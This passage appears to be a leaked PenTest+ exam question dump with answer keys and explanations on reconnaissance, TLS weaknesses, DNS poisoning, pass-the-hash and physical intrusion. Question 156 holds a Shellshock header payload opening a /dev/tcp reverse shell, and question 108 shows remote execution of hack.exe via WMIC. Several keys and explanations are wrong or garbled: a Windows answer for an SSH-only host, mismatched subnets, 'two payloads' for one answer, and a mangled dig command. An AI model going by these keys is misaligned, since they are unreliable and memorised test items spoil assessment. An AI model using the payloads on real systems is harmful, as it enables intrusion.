Export ciphers (w/o ADH+NULL) not offered (OK)
LOW: 64 Bit + DES, RC[2,4] (w/o export) offered (NOT ok)
Triple DES Ciphers / IDEA offered
Obsolete CBC ciphers (AES, ARIA etc.) offered
Strong encryption (AEAD ciphers) not offered

Testing robust (perfect) forward secrecy, (P)FS -- omitting Null Authentication/Encryption, 3DES, RC4
No ciphers supporting Forward Secrecy offered

Testing server preferences
Has server cipher order? no (NOT ok)
Negotiated protocol TLSv1
Negotiated cipher AES256-SHA (limited sense as client will pick)
...
```

Based on these results, which of the following attacks is MOST likely to succeed?

- A. A birthday attack on 64-bit ciphers (Sweet32)
- B. An attack that breaks RC4 encryption
- C. An attack on a session ticket extension (Ticketbleed)
- D. A Heartbleed attack

**Answer:** D

**Explanation:**

Based on these results, the most likely attack to succeed is a Heartbleed attack. The Heartbleed attack is a vulnerability in the OpenSSL implementation of the TLS/SSL protocol that allows an attacker to read the memory of the server and potentially steal sensitive information, such as private keys, passwords, or session tokens. The results show that the website is using OpenSSL 1.0.1f, which is vulnerable to the Heartbleed attack1.

**NEW QUESTION 79**

A penetration tester has established an on-path position between a target host and local network services but has not been able to establish an on-path position between the target host and the Internet. Regardless, the tester would like to subtly redirect HTTP connections to a spoofed server IP. Which of the following methods would BEST support the objective?

- A. Gain access to the target host and implant malware specially crafted for this purpose.
- B. Exploit the local DNS server and add/update the zone records with a spoofed A record.
- C. Use the Scapy utility to overwrite name resolution fields in the DNS query response.
- D. Proxy HTTP connections from the target host to that of the spoofed host.

**Answer:** D

**NEW QUESTION 82**

Penetration on an assessment for a client organization, a penetration tester notices numerous outdated software package versions were installed ...s-critical servers. Which of the following would best mitigate this issue?

- A. Implementation of patching and change control programs
- B. Revision of client scripts used to perform system updates
- C. Remedial training for the client's systems administrators
- D. Refrainment from patching systems until quality assurance approves

**Answer:** A

**Explanation:**

The best way to mitigate this issue is to implement patching and change control programs, which are processes that involve applying updates or fixes to software packages to address vulnerabilities, bugs, or performance issues, and managing or documenting the changes made to the software packages to ensure consistency, compatibility, and security. Patching and change control programs can help prevent or reduce the risk of attacks that exploit outdated software package versions, which may contain known or unknown vulnerabilities that can compromise the security or functionality of the systems or servers. Patching and change control programs can be implemented by using tools such as WSUS, which is a tool that can manage and distribute updates for Windows systems and applications1, or Git, which is a tool that can track and control changes to source code or files2. The other options are not valid ways to mitigate this issue. Revision of client scripts used to perform system updates is not a sufficient way to mitigate this issue, as it may not address the root cause of why the software package versions are outdated, such as lack of awareness, resources, or policies. Remedial training for the client's systems administrators is not a direct way to mitigate this issue, as it may not result in immediate or effective actions to update the software package versions. Refrainment from patching systems until quality assurance approves is not a way to mitigate this issue, but rather a potential cause or barrier for why the software package versions are outdated.

**NEW QUESTION 84**

A security professional wants to test an IoT device by sending an invalid packet to a proprietary service listening on TCP port 3011. Which of the following would allow the security professional to easily and programmatically manipulate the TCP header length and checksum using arbitrary numbers and to observe how the proprietary service responds?

- A. Nmap
- B. tcpdump
- C. Scapy
- D. hping3

**Answer:** C

**Explanation:**

[https://0xbharath.github.io/art-of-packet-crafting-with-scapy/scapy/creating\\_packets/index.html](https://0xbharath.github.io/art-of-packet-crafting-with-scapy/scapy/creating_packets/index.html) <https://scapy.readthedocs.io/en/latest/introduction.html#about-scapy>  
Scapy is a powerful and interactive packet manipulation tool that allows the security professional to easily and programmatically manipulate the TCP header length and checksum using arbitrary numbers and to observe how the proprietary service responds. Scapy can craft, send, receive, and analyze packets of various protocols, such as TCP, UDP, ICMP, or IP. Scapy can also modify any field of any layer of a packet, such as the TCP header length and checksum, which are used to indicate the size and integrity of the TCP segment. Scapy can also display the response packets from the target system, which can reveal how the proprietary service handles the invalid packet.

**NEW QUESTION 86**

The following PowerShell snippet was extracted from a log of an attacker machine:

```

1. $net="192.168.1."
2. $setipaddress ="192.168.2."
3. function Test-Password {
4. if (args[0] -eq 'Dummy12345') {
5.   return 1
6. }
7. else {
8. $cat = 22, 25, 80, 443
9.   return 0
10. }
11. }
12. $cracked = 0
13. crackedpd = [ 192, 168, 1, 2]
14. $i =0
15. Do {
16. $test = 'Dummy' + $i
17. $cracked = Test - Password Test
18. $i++
19. $crackedp = ( 192, 168, 1, 1) + $cat
20. }
21. While($cracked -eq 0)
22. Write-Host " Password found : " $test
23. $setipaddress = [ 192, 168, 1, 4]

```

A penetration tester would like to identify the presence of an array. Which of the following line numbers would define the array?

- A. Line 8
- B. Line 13
- C. Line 19
- D. Line 20

**Answer:** A

**Explanation:**

\$X=2,4,6,8,9,20,5

\$y=[System.Collections.ArrayList]\$X

\$y.RemoveRange(1,2) As you can see the array has no brackets and no periods. IT HAS SEMICOLLONS TO SEPERATE THE LISTED ITEMS OR VALUES.

**NEW QUESTION 88**

A penetration tester receives the following results from an Nmap scan:

Interesting ports on 192.168.1.1:

Port	State	Service
21/tcp	closed	ftp
22/tcp	open	ssh
23/tcp	closed	telnet
25/tcp	closed	smtp
80/tcp	open	http
110/tcp	closed	pop3
139/tcp	closed	nethics-ssn
443/tcp	closed	https
3389/tcp	closed	rdp

Which of the following OSs is the target MOST likely running?

- A. CentOS
- B. Arch Linux
- C. Windows Server
- D. Ubuntu

**Answer:** C

**NEW QUESTION 93**

During a penetration test a tester found a web component with no authentication requirements. The web component also allows file uploads and is hosted on one of the target public web the following actions should the penetration tester perform next?

- A. Continue the assessment and mark the finding as critical.
- B. Attempting to remediate the issue temporarily.
- C. Notify the primary contact immediately.
- D. Shutting down the web server until the assessment is finished

**Answer:** C

**Explanation:**

The penetration tester should notify the primary contact immediately, as this is a serious security issue that may compromise the confidentiality, integrity, and availability of the web server and its data. A web component with no authentication requirements and file upload capabilities can allow an attacker to upload malicious files, such as web shells, backdoors, or malware, to the web server and gain remote access or execute arbitrary commands on the web server. This can lead to further attacks, such as data theft, data corruption, privilege escalation, lateral movement, or denial of service. The penetration tester should inform the primary contact of the issue and its potential impact, and provide recommendations for remediation, such as implementing authentication mechanisms, restricting file upload types and sizes, or scanning uploaded files for malware. The other options are not appropriate actions for the penetration tester at this stage. Continuing the assessment and marking the finding as critical would delay the notification and remediation of the issue, which may increase the risk of exploitation by other attackers. Attempting to remediate the issue temporarily would interfere with the normal operation of the web server and may cause unintended consequences or damage. Shutting down the web server until the assessment is finished would disrupt the availability of the web server and its services, and may violate the scope or agreement of the assessment.

**NEW QUESTION 95**

Which of the following would assist a penetration tester the MOST when evaluating the susceptibility of top-level executives to social engineering attacks?

- A. Scraping social media for personal details
- B. Registering domain names that are similar to the target company's
- C. Identifying technical contacts at the company
- D. Crawling the company's website for company information

**Answer: A**

**Explanation:**

Scraping social media for personal details can help a penetration tester craft personalized and convincing social engineering attacks against top-level executives, who may share sensitive or confidential information on their profiles. Registering domain names that are similar to the target company's can be used for phishing or typosquatting attacks, but not specifically against executives. Identifying technical contacts at the company can help with reconnaissance, but not with social engineering. Crawling the company's website for company information can provide general background knowledge, but not specific details about executives.

**NEW QUESTION 99**

A penetration tester runs the following command: `!comptia.local axfr comptia.local` which of the following types of information would be provided?

- A. The DNSSEC certificate and CA
- B. The DHCP scopes and ranges used on the network
- C. The hostnames and IP addresses of internal systems
- D. The OS and version of the DNS server

**Answer: C**

**Explanation:**

The command `dig @ns1.comptia.local axfr comptia.local` is a command that performs a DNS zone transfer, which is a process of copying the entire DNS database or zone file from a primary DNS server to a secondary DNS server. A DNS zone file contains records that map domain names to IP addresses and other information, such as mail servers, name servers, or aliases. A DNS zone transfer can provide useful information for enumeration, such as the hostnames and IP addresses of internal systems, which can help identify potential targets or vulnerabilities. A DNS zone transfer can be performed by using tools such as `dig`, which is a tool that can query DNS servers and obtain information about domain names, such as IP addresses, mail servers, name servers, or other records<sup>1</sup>. The other options are not types of information that would be provided by a DNS zone transfer. The DNSSEC certificate and CA are not part of the DNS zone file, but rather part of the DNSSEC protocol, which is an extension of the DNS protocol that provides authentication and integrity for DNS data. The DHCP scopes and ranges used on the network are not part of the DNS zone file, but rather part of the DHCP protocol, which is a protocol that assigns dynamic IP addresses and other configuration parameters to devices on a network. The OS and version of the DNS server are not part of the DNS zone file, but rather part of the OS fingerprinting technique, which is a technique that identifies the OS and version of a remote system by analyzing its responses to network probes.

**NEW QUESTION 103**

A penetration tester is looking for a vulnerability that enables attackers to open doors via a specialized TCP service that is used for a physical access control system. The service exists on more than 100 different hosts, so the tester would like to automate the assessment. Identification requires the penetration tester to:

- > Have a full TCP connection
- > Send a "hello" payload
- > Wait for a response
- > Send a string of characters longer than 16 bytes

Which of the following approaches would BEST support the objective?

- A. Run `nmap -Pn -sV --script vuln <IP address>`.
- B. Employ an OpenVAS simple scan against the TCP port of the host.
- C. Create a script in the Lua language and use it with NSE.
- D. Perform a credentialed scan with Nessus.

**Answer: C**

**Explanation:**

The Nmap Scripting Engine (NSE) is one of Nmap's most powerful and flexible features. It allows users to write (and share) simple scripts (using the Lua programming language) to automate a wide variety of networking tasks. <https://nmap.org> Creating a script in the Lua language and using it with NSE would best support the objective of finding a vulnerability that enables attackers to open doors via a specialized TCP service that is used for a physical access control system. NSE (Nmap Scripting Engine) is a feature of Nmap that allows users to write and run scripts to automate tasks or perform advanced scans. Lua is a scripting language that NSE supports and can be used to create custom scripts for Nmap.

**NEW QUESTION 106**

A penetration tester attempted a DNS poisoning attack. After the attempt, no traffic was seen from the target machine. Which of the following MOST likely caused the attack to fail?

- A. The injection was too slow.
- B. The DNS information was incorrect.
- C. The DNS cache was not refreshed.
- D. The client did not receive a trusted response.

**Answer:** C

**Explanation:**

A DNS poisoning attack is an attack that exploits a vulnerability in the DNS protocol or system to redirect traffic from legitimate websites to malicious ones. A DNS poisoning attack works by injecting false DNS records into a DNS server or resolver's cache, which is a temporary storage of DNS information. However, if the DNS cache was not refreshed, then the attack would fail, as the target machine would still use the old and valid DNS records from its cache. The other options are not likely causes of the attack failure.

**NEW QUESTION 108**

A penetration tester gains access to a system and is able to migrate to a user process:

```
net use S: \\192.168.5.51\CS\temp /persistent no
copy c:\temp\hack.exe S:\temp\hack.exe
wmic.exe /node: "192.168.5.51" process call create "C:\temp\hack.exe"
```

Given the output above, which of the following actions is the penetration tester performing? (Choose two.)

- A. Redirecting output from a file to a remote system
- B. Building a scheduled task for execution
- C. Mapping a share to a remote system
- D. Executing a file on the remote system
- E. Creating a new process on all domain systems
- F. Setting up a reverse shell from a remote system
- G. Adding an additional IP address on the compromised system

**Answer:** CD

**Explanation:**

WMIC.exe is a built-in Microsoft program that allows command-line access to the Windows Management Instrumentation. Using this tool, administrators can query the operating system for detailed information about installed hardware and Windows settings, run management tasks, and even execute other programs or commands.

**NEW QUESTION 111**

A penetration tester wants to perform reconnaissance without being detected. Which of the following activities have a MINIMAL chance of detection? (Choose two.)

- A. Open-source research
- B. A ping sweep
- C. Traffic sniffing
- D. Port knocking
- E. A vulnerability scan
- F. An Nmap scan

**Answer:** AC

**Explanation:**

Open-source research and traffic sniffing are two activities that have a minimal chance of detection, as they do not involve sending any packets or requests to the target network or system. Open-source research is the process of gathering information from publicly available sources, such as websites, social media, blogs, forums, etc. Traffic sniffing is the process of capturing and analyzing network packets that are transmitted over a shared medium, such as wireless or Ethernet.

**NEW QUESTION 116**

A penetration tester exploited a vulnerability on a server and remotely ran a payload to gain a shell. However, a connection was not established, and no errors were shown on the payload execution. The penetration tester suspected that a network device, like an IPS or next-generation firewall, was dropping the connection. Which of the following payloads are MOST likely to establish a shell successfully?

- A. windows/x64/meterpreter/reverse\_tcp
- B. windows/x64/meterpreter/reverse\_http
- C. windows/x64/shell\_reverse\_tcp
- D. windows/x64/powershell\_reverse\_tcp
- E. windows/x64/meterpreter/reverse\_https

**Answer:** B

**Explanation:**

These two payloads are most likely to establish a shell successfully because they use HTTP or HTTPS protocols, which are commonly allowed by network devices and can bypass firewall rules or IPS signatures. The other payloads use TCP protocols, which are more likely to be blocked or detected by network devices.

**NEW QUESTION 119**

A penetration tester writes the following script:

```
#!/bin/bash
for x in `seq 1 254`; do
    ping -c 1 10.10.1.$x;
done
```

Which of the following objectives is the tester attempting to achieve?

- A. Determine active hosts on the network.
- B. Set the TTL of ping packets for stealth.
- C. Fill the ARP table of the networked devices.
- D. Scan the system on the most used ports.

**Answer:** A

**Explanation:**

The tester is attempting to determine active hosts on the network by writing a script that pings a range of IP addresses. Ping is a network utility that sends ICMP echo request packets to a host and waits for ICMP echo reply packets. Ping can be used to test whether a host is reachable or not by measuring its response time. The script uses a for loop to iterate over a range of IP addresses from 192.168.1.1 to 192.168.1.254 and pings each one using the ping command with -c 1 option, which specifies one packet per address.

**NEW QUESTION 122**

Which of the following describe the GREATEST concerns about using third-party open-source libraries in application code? (Choose two.)

- A. The libraries may be vulnerable
- B. The licensing of software is ambiguous
- C. The libraries' code bases could be read by anyone
- D. The provenance of code is unknown
- E. The libraries may be unsupported
- F. The libraries may break the application

**Answer:** AD

**Explanation:**

- > A. The libraries may be vulnerable to security bugs or exploits that can compromise the application or the data. According to the web search results, open-source libraries often have vulnerabilities that can be exploited by attackers, such as Heartbleed, Shellshock, DROWN, or npm left-pad1234. These vulnerabilities can allow attackers to extract sensitive data, execute arbitrary commands, decrypt encrypted traffic, or break the functionality of the application. Therefore, using third-party open-source libraries in application code poses a significant security risk.
- > D. The provenance of code is unknown, meaning that the origin and history of the code are not verified or documented. According to the web search results, open-source libraries and client projects are developed and continuously evolving in an asynchronous way, which makes it difficult to track the changes and updates of the code2. Moreover, open-source libraries may have dependencies on other libraries, which can introduce additional risks or vulnerabilities1. Therefore, using third-party open-source libraries in application code poses a significant quality risk.

**NEW QUESTION 124**

The results of an Nmap scan are as follows:

```
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-24 01:10 EST
Nmap scan report for ( 192.168.1.1 )
Host is up (0.0035s latency).
Not shown: 996 filtered ports

Port      State  Service  Version
22/tcp    open   ssh      OpenSSH 6.6.1p1
53/tcp    open   domain   dnsmasq 2.72
80/tcp    open   http     lighttpd
443/tcp   open   ssl/http httpd

Service Info: OS: Linux; Device: router; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 18.45 seconds
```

Which of the following would be the BEST conclusion about this device?

- A. This device may be vulnerable to the Heartbleed bug due to the way transactions over TCP/22 handle heartbeat extension packets, allowing attackers to obtain sensitive information from process memory.
- B. This device is most likely a gateway with in-band management services.
- C. This device is most likely a proxy server forwarding requests over TCP/443.
- D. This device may be vulnerable to remote code execution because of a buffer overflow vulnerability in the method used to extract DNS names from packets prior to DNSSEC validation.

**Answer:** B

**Explanation:**

The heart bleed bug is an open ssl bug which does not affect SSH Ref:  
<https://www.sos-berlin.com/en/news-heartbleed-bug-does-not-affect-jobscheduler-or-ssh>

**NEW QUESTION 126**

During the scoping phase of an assessment, a client requested that any remote code exploits discovered during testing would be reported immediately so the vulnerability could be fixed as soon as possible. The penetration tester did not agree with this request, and after testing began, the tester discovered a vulnerability and gained internal access to the system. Additionally, this scenario led to a loss of confidential credit card data and a hole in the system. At the end of the test, the penetration tester willfully failed to report this information and left the vulnerability in place. A few months later, the client was breached and credit card data was stolen. After being notified about the breach, which of the following steps should the company take NEXT?

- A. Deny that the vulnerability existed
- B. Investigate the penetration tester.
- C. Accept that the client was right.
- D. Fire the penetration tester.

**Answer: B**

**Explanation:**

The penetration tester violated the client's request and the code of ethics by not reporting the vulnerability immediately and leaving it in place. This could have contributed to the breach and the data loss. The company should investigate the penetration tester's actions and motives, and hold them accountable for any negligence or malpractice.

**NEW QUESTION 127**

A penetration tester runs the following command on a system: `find / -user root -perm -4000 -print 2>/dev/null`  
Which of the following is the tester trying to accomplish?

- A. Set the SGID on all files in the / directory
- B. Find the /root directory on the system
- C. Find files with the SUID bit set
- D. Find files that were created during exploitation and move them to /dev/null

**Answer: C**

**Explanation:**

the `2>/dev/null` is output redirection, it simply sends all the error messages to infinity and beyond preventing any error messages to appear in the terminal session. The tester is trying to find files with the SUID bit set on the system. The SUID (set user ID) bit is a special permission that allows a file to be executed with the privileges of the file owner, regardless of who runs it. This can be used to perform privileged operations or access restricted resources. A penetration tester can use the `find` command with the `-user` and `-perm` options to search for files owned by a specific user (such as `root`) and having a specific permission (such as `4000`, which indicates the SUID bit is set).

**NEW QUESTION 131**

A penetration tester who is conducting a web-application test discovers a clickjacking vulnerability associated with a login page to financial data. Which of the following should the tester do with this information to make this a successful exploit?

- A. Perform XSS.
- B. Conduct a watering-hole attack.
- C. Use BeEF.
- D. Use browser autopwn.

**Answer: B**

**Explanation:**

A clickjacking vulnerability allows an attacker to trick a user into clicking on a hidden element on a web page, such as a login button or a link. A watering-hole attack is a technique where the attacker compromises a website that is frequently visited by the target users, and injects malicious code or content into the website. The attacker can then use the clickjacking vulnerability to redirect the users to a malicious website or perform unauthorized actions on their behalf.

\* A. Perform XSS. This is incorrect. XSS (cross-site scripting) is a vulnerability where an attacker injects malicious scripts into a web page that are executed by the browser of the victim. XSS can be used to steal cookies, session tokens, or other sensitive information, but it is not directly related to clickjacking.

\* C. Use BeEF. This is incorrect. BeEF (Browser Exploitation Framework) is a tool that allows an attacker to exploit various browser vulnerabilities and take control of the browser of the victim. BeEF can be used to launch clickjacking attacks, but it is not the only way to do so.

\* D. Use browser autopwn. This is incorrect. Browser autopwn is a feature of Metasploit that automatically exploits browser vulnerabilities and delivers a payload to the victim's system. Browser autopwn can be used to compromise the browser of the victim, but it is not directly related to clickjacking.

References:

- > 1: OWASP Foundation, "Clickjacking", <https://owasp.org/www-community/attacks/Clickjacking>
- > 2: PortSwigger, "What is clickjacking? Tutorial & Examples", <https://portswigger.net/web-security/clickjacking>
- > 4: Akto, "Clickjacking: Understanding vulnerability, attacks and prevention", <https://www.akto.io/blog/clickjacking-understanding-vulnerability-attacks-and-prevention>

**NEW QUESTION 136**

A consulting company is completing the ROE during scoping. Which of the following should be included in the ROE?

- A. Cost of the assessment
- B. Report distribution
- C. Testing restrictions
- D. Liability

**Answer: B**

**NEW QUESTION 139**

A penetration tester has extracted password hashes from the `lsass.exe` memory process. Which of the following should the tester perform NEXT to pass the hash and provide persistence with the newly acquired credentials?

- A. Use Patator to pass the hash and Responder for persistence.
- B. Use Hashcat to pass the hash and Empire for persistence.
- C. Use a bind shell to pass the hash and WMI for persistence.
- D. Use Mimikatz to pass the hash and PsExec for persistence.

**Answer:** D

**Explanation:**

Mimikatz is a credential hacking tool that can be used to extract logon passwords from the LSASS process and pass them to other systems. Once the tester has the hashes, they can then use PsExec, a command-line utility from Sysinternals, to pass the hash to the remote system and authenticate with the new credentials. This provides the tester with persistence on the system, allowing them to access it even after a reboot.

"A penetration tester who has extracted password hashes from the lsass.exe memory process can use various tools to pass the hash and gain access to other systems using the same credentials. One tool commonly used for this purpose is Mimikatz, which can extract plaintext passwords from memory or provide a pass-the-hash capability. After gaining access to a system, the tester can use various tools for persistence, such as PsExec or WMI." (CompTIA PenTest+ Study Guide, p. 186)

**NEW QUESTION 144**

A physical penetration tester needs to get inside an organization's office and collect sensitive information without acting suspiciously or being noticed by the security guards. The tester has observed that the company's ticket gate does not scan the badges, and employees leave their badges on the table while going to the restroom. Which of the following techniques can the tester use to gain physical access to the office? (Choose two.)

- A. Shoulder surfing
- B. Call spoofing
- C. Badge stealing
- D. Tailgating
- E. Dumpster diving
- F. Email phishing

**Answer:** CD

**NEW QUESTION 145**

Performing a penetration test against an environment with SCADA devices brings additional safety risk because the:

- A. devices produce more heat and consume more power.
- B. devices are obsolete and are no longer available for replacement.
- C. protocols are more difficult to understand.
- D. devices may cause physical world effects.

**Answer:** D

**Explanation:**

"A significant issue identified by Wiberg is that using active network scanners, such as Nmap, presents a weakness when attempting port recognition or service detection on SCADA devices. Wiberg states that active tools such as Nmap can use unusual TCP segment data to try and find available ports. Furthermore, they can open a massive amount of connections with a specific SCADA device but then fail to close them gracefully." And since SCADA and ICS devices are designed and implemented with little attention having been paid to the operational security of these devices and their ability to handle errors or unexpected events, the presence idle open connections may result into errors that cannot be handled by the devices.

**NEW QUESTION 148**

During an internal penetration test against a company, a penetration tester was able to navigate to another part of the network and locate a folder containing customer information such as addresses, phone numbers, and credit card numbers. To be PCI compliant, which of the following should the company have implemented to BEST protect this data?

- A. Vulnerability scanning
- B. Network segmentation
- C. System hardening
- D. Intrusion detection

**Answer:** B

**Explanation:**

Network segmentation is the practice of dividing a network into smaller subnetworks or segments based on different criteria, such as function, security level, or access control. Network segmentation can enhance the security of a network by isolating sensitive or critical systems from less secure or untrusted systems, reducing the attack surface, limiting the spread of malware or intrusions, and enforcing granular policies and rules for each segment. To be PCI compliant, which is a set of standards for protecting payment card data, the company should have implemented network segmentation to separate the servers that perform financial transactions from other parts of the network that may be less secure or more exposed to threats. The other options are not specific requirements for PCI compliance, although they may be good security practices in general.

**NEW QUESTION 153**

A penetration tester has been hired to perform a physical penetration test to gain access to a secure room within a client's building. Exterior reconnaissance identifies two entrances, a WiFi guest network, and multiple security cameras connected to the Internet. Which of the following tools or techniques would BEST support additional reconnaissance?

- A. Wardriving
- B. Shodan
- C. Recon-ng
- D. Aircrack-ng

**Answer:** C

#### NEW QUESTION 155

Which of the following provides a matrix of common tactics and techniques used by attackers along with recommended mitigations?

- A. NIST SP 800-53
- B. OWASP Top 10
- C. MITRE ATT&CK framework
- D. PTES technical guidelines

**Answer: C**

#### NEW QUESTION 156

A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code:

```
exploits = {"User-Agent": "() { ignored; }; /bin/bash -i && /dev/tcp/127.0.0.1/9090 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}
```

Which of the following edits should the tester make to the script to determine the user context in which the server is being run?

- A. exploits = {"User-Agent": "() { ignored; }; /bin/bash -i id;whoami", "Accept": "text/html,application/xhtml+xml,application/xml"}
- B. exploits = {"User-Agent": "() { ignored; }; /bin/bash -i && find / -perm -4000", "Accept": "text/html,application/xhtml+xml,application/xml"}
- C. exploits = {"User-Agent": "() { ignored; }; /bin/sh -i ps -ef" 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}
- D. exploits = {"User-Agent": "() { ignored; }; /bin/bash -i && /dev/tcp/10.10.1.1/80" 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}

**Answer: A**

#### NEW QUESTION 159

A security firm is discussing the results of a penetration test with the client. Based on the findings, the client wants to focus the remaining time on a critical network segment. Which of the following BEST describes the action taking place?

- A. Maximizing the likelihood of finding vulnerabilities
- B. Reprioritizing the goals/objectives
- C. Eliminating the potential for false positives
- D. Reducing the risk to the client environment

**Answer: B**

#### Explanation:

Goal Reprioritization Have the goals of the assessment changed? Has any new information been found that might affect the goal or desired end state? I would also agree with A, because by goal reprioritization you are more likely to find vulnerabilities in this specific segment of critical network, but it is a side effect of goal reprioritization.

#### NEW QUESTION 163

A red team gained access to the internal network of a client during an engagement and used the Responder tool to capture important data. Which of the following was captured by the testing team?

- A. Multiple handshakes
- B. IP addresses
- C. Encrypted file transfers
- D. User hashes sent over SMB

**Answer: B**

#### NEW QUESTION 168

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